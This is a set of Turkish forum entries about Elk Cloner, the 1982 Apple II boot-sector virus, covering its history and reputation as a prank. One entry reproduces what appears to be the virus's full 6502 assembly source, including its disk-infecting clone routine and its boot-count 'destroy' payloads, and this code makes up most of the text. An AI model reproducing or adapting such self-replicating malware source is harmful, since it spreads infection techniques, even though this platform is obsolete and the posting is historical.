• ilk bilgisayar virüsü. rich skrenta tarafından bir apple ii'de yazılmış...

    (bkz: rich skrenta)
  • o zamanlar (1982) hdd kullanılmadığından, bilgisayarlar floppy disklerle boot edilirdi. eğer boot edilen floppy disk'te bu virüs varsa, hemen kendini ram'e kopyalardı. sonra da (bilgisayar kapanmadan tabii) yeni bir disket takıldığında -ve "catalog" komutu kullanıldığında (bir nevi ls ya da dir)- kendini o diskete kopyalardı.

    zararlı bir tarafı da yok, sadece 50 boot'ta bir şiir gösteriyor. eğer kendini kopyaladığı diskette yeterli alan yoksa overwrite edermiş bi de.
  • (bkz: kodunu da yazayim tam olsun)

    org $9000
    versn dfb $02
    himem lda #$ff
    sta $4c
    lda #$8f
    sta $4d
    doptch lda #$20
    sta $a180
    lda #$5b
    sta $a181
    lda #$a7
    sta $a182
    runptch lda #$ad
    sta $a4d1
    lda #$b6
    sta $a4d2
    lda #$aa
    sta $a4d3
    lodptch lda #$4c
    sta $a413
    lda #>lod
    sta $a414
    lda #<lod
    sta $a415
    bldptch lda #$4c
    sta $a35d
    lda #>blod
    sta $a35e
    lda #<blod
    sta $a35f
    catptch lda #$4c
    sta $a56e
    lda #>catalog
    sta $a56f
    lda #<catalog
    sta $a570
    usrptch lda #$4c
    sta $0a
    lda #>usrcmd
    sta $0b
    lda #<usrcmd
    sta $0c
    bootup cld
    jsr read
    ldx $b3bf
    inx
    stx $b3bf
    jsr write
    jsr destroy
    jmp $a180
    teston lda #$00
    sta flag1
    lda $aa68
    sta $b7ea
    jsr read
    lda $b3c2
    cmp versn
    beq teston1
    lda #$01
    sta flag1
    teston1 rts
    lod jsr teston
    lda flag1
    cmp #$00
    beq lod1
    jsr clone
    lod1 jsr $a316
    jmp $a416
    blod jsr teston
    lda flag1
    cmp #$00
    beq blod1
    jsr clone
    blod1 jsr $a2a8
    jmp $a360
    catalog jsr teston
    lda #$06
    jsr $a2aa
    lda $b5bf
    sta $aa66
    lda flag1
    cmp #$00
    beq return
    jsr clone
    return lda #$0
    sta $b3be
    sta $b3bf
    sta $b3c0
    rts
    clone clc
    jsr read
    lda ident
    sta $b3c0
    lda versn
    sta $b3c2
    jsr write
    lda $aa68
    sta $b7ea
    lda #$02
    sta $b7f4
    sta $b7ec
    lda #$08
    sta $b7ed
    lda #$0
    sta $b7eb
    sta $b7f0
    lda #$95
    sta $b7f1
    clone1 lda #$b7
    ldy #$e8
    jsr $b7b5
    cld
    bcc clone2
    rts
    clone2 dec $b7ed
    dec $b7f1
    lda $b7f1
    cmp #$8f
    bne clone1
    lda #$02
    sta $b7f1
    lda #$01
    sta $b7f4
    sta $b7ec
    lda #$0
    sta $b7ed
    lda #$b7
    ldy #$e8
    jsr $b7b5
    cld
    bcc clone3
    rts
    clone3 lda #$4c
    sta $280
    lda #$00
    sta $281
    lda #$9b
    sta $282
    lda #$02
    sta $b7f4
    lda #$b7
    ldy #$e8
    jsr $b7b5
    cld
    bcc clone4
    rts
    clone4 lda #$0
    sta $b7ec
    lda #$a
    sta $b7ed
    lda #$95
    sta $b7f1
    lda #$b7
    ldy #$e8
    jsr $b7b5
    cld
    rts
    read lda #$01
    sta $b7f4
    jmp vtoc
    write lda #$02
    sta $b7f4
    vtoc lda #$11
    sta $b7ec
    lda #$0
    sta $b7ed
    lda #$bb
    sta $b7f0
    lda #$b3
    sta $b7f1
    lda #$0
    sta $b7eb
    lda #$b7
    ldy #$e8
    jsr $b7b5
    cld
    rts
    print sty $fc
    sta $fd
    ldy #$00
    print0 lda ($fc),y
    cmp #$00
    beq print1
    jsr $fded
    iny
    jmp print0
    print1 rts
    prtmsg ldy #>msg
    lda #<msg
    jsr print
    prtnum lda ident
    sta $44
    jsr $ae42
    lda #$8d
    jsr $fded
    rts
    msg asc 'elk cloner v2.0 # '
    dfb $0
    ident dfb $1
    flag1 dfb $00
    ret rts
    usrcmd jsr $e6fb
    cpx #$0b
    bne cmd2
    jsr prtmsg
    rts
    cmd2 cpx #$0c
    bne cmd3
    ldy #>report
    lda #<report
    jsr print
    jsr read
    lda $b3bf
    sta $44
    jsr $ae42
    lda #$8d
    jsr $fded
    rts
    cmd3 cpx #$0d
    bne cmd4
    jsr clone
    rts
    cmd4 cpx #$0a
    bne usrerr
    jsr prpoem
    rts
    usrerr ldy #>uerr
    lda #<uerr
    jsr print
    jsr $fbdd
    jmp $9dbf
    uerr dfb $8d
    asc 'illegal quantity error'
    dfb $0
    prpoem jsr $fc58
    ldy #>poem
    lda #<poem
    jsr print
    rts
    report asc 'boot count: '
    dfb $0
    poem asc 'elk cloner:'
    dfb $8d,$8d
    asc ' the program with a personality'
    dfb $8d,$8d,$8d
    asc 'it will get on all your disks'
    dfb $8d
    asc 'it will infiltrate your chips'
    dfb $8d
    asc 'yes it'
    dfb $a7
    asc 's cloner!'
    dfb $8d,$8d
    asc 'it will stick to you like glue'
    dfb $8d
    asc 'it will modify ram too'
    dfb $8d
    asc 'send in the cloner!'
    dfb $8d,$8d,$8d,$8d,$0
    ioerr ldy #>errmsg
    lda #<errmsg
    jsr print
    jsr $fbdd
    jmp $9dbf
    errmsg dfb $8d,$8d
    asc 'i/o error'
    dfb $8d,$00
    destroy lda $b3bf
    cmp #10
    bne dest1
    lda #$69
    sta $3f2
    lda #$ff
    sta $3f3
    jsr $fb6f
    rts
    dest1 cmp #15
    bne dest2
    lda #$3f
    sta $32
    rts
    dest2 cmp #20
    bne dest3
    lda $c030
    lda $c030
    lda $c030
    rts
    dest3 cmp #25
    bne dest4
    lda #$7f
    sta $32
    rts
    dest4 cmp #30
    bne dest5
    lda #'i'
    sta $b3a7
    lda #'t'
    sta $b3a8
    lda #'b'
    sta $b3a9
    lda #'a'
    sta $b3aa
    rts
    dest5 cmp #35
    bne dest6
    lda #$85
    sta $aab2
    rts
    dest6 cmp #40
    bne dest7
    lda #$00
    sta $3f2
    lda #$03
    sta $3f3
    jsr $fb6f
    lda #$4c
    sta $300
    lda #$00
    sta $301
    lda #$03
    sta $302
    rts
    dest7 cmp #45
    bne dest8
    lda #$80
    sta $d6
    rts
    dest8 cmp #50
    bne dest9
    lda #>prpoem
    sta $3f2
    lda #<prpoem
    sta $3f3
    jsr $fb6f
    rts
    dest9 cmp #55
    bne dest10
    lda #$ff
    sta $bdd3
    rts
    dest10 cmp #60
    bne dest11
    lda #$20
    sta $bdd3
    rts
    dest11 cmp #65
    bne dest12
    lda #$4c
    sta $a180
    lda #$69
    sta $a181
    lda #$ff
    sta $a182
    rts
    dest12 cmp #70
    bne dest13
    lda #$10
    sta $bdd3
    rts
    dest13 cmp #75
    bne dest14
    jmp $c600
    dest14 cmp #76
    bne dest15
    jmp $c600
    dest15 cmp #77
    bne dest16
    jmp $c600
    dest16 cmp #78
    bne dest17
    jmp $c600
    dest17 cmp #79
    bne dest18
    jsr read
    lda #$00
    sta $b3bf
    jsr write
    rts
    dest18 rts
    loader org $9500
    lda #$02
    sta $b7ec
    lda #$01
    sta $b7f4
    lda #$03
    sta $b7ed
    lda #$0
    sta $b7eb
    sta $b7f0
    lda #$90
    sta $b7f1
    load1 lda #$b7
    ldy #$e8
    jsr $b7b5
    inc $b7ed
    inc $b7f1
    lda $b7f1
    cmp #$96
    bcc load1
    jmp himem
  • bilgisayar tarihinin ilk virüsü: elk cloner!

    1982 yılında richard skrenta isimli 15 yaşındaki bir lise öğrencisi tarafından hazırlanan elk cloner, belgelenen en eski bilgisayar virüsü olarak kabul edilir. apple ıı platformunu hedef alan virüs, diskler aracılığıyla bulaşarak, bilgisayara her takıldığında diğer kısımlara yayılmıştır.

    diğer kötü amaçlı yazılımların aksine, elk cloner muzip bir şaka olarak yaratılmıştı ve nispeten zararsızdı. virüs bulaşmış bir disket, apple ıı sistemine yerleştirildiğinde, virüs kendini gizlice bilgisayarın belleğine yerleştirirdi ve bir sonraki kurbanı beklerdi. virüs bulaşmış disk ellinci kez başlatıldığında elk cloner, varlığını tuhaf bir şiir ya da neşeli bir mesajla gösterirdi.

    modern siber tehditlerle karşılaştırıldığında zararsız olmasına rağmen elk cloner bilgisayar tarihinde önemli bir döneme damgasını vurdu. bu, dijital ortamın görünmeyen saldırganlara karşı giderek savunmasız hale gelmesinin önemli bir habercisiydi.
hesabın var mı? giriş yap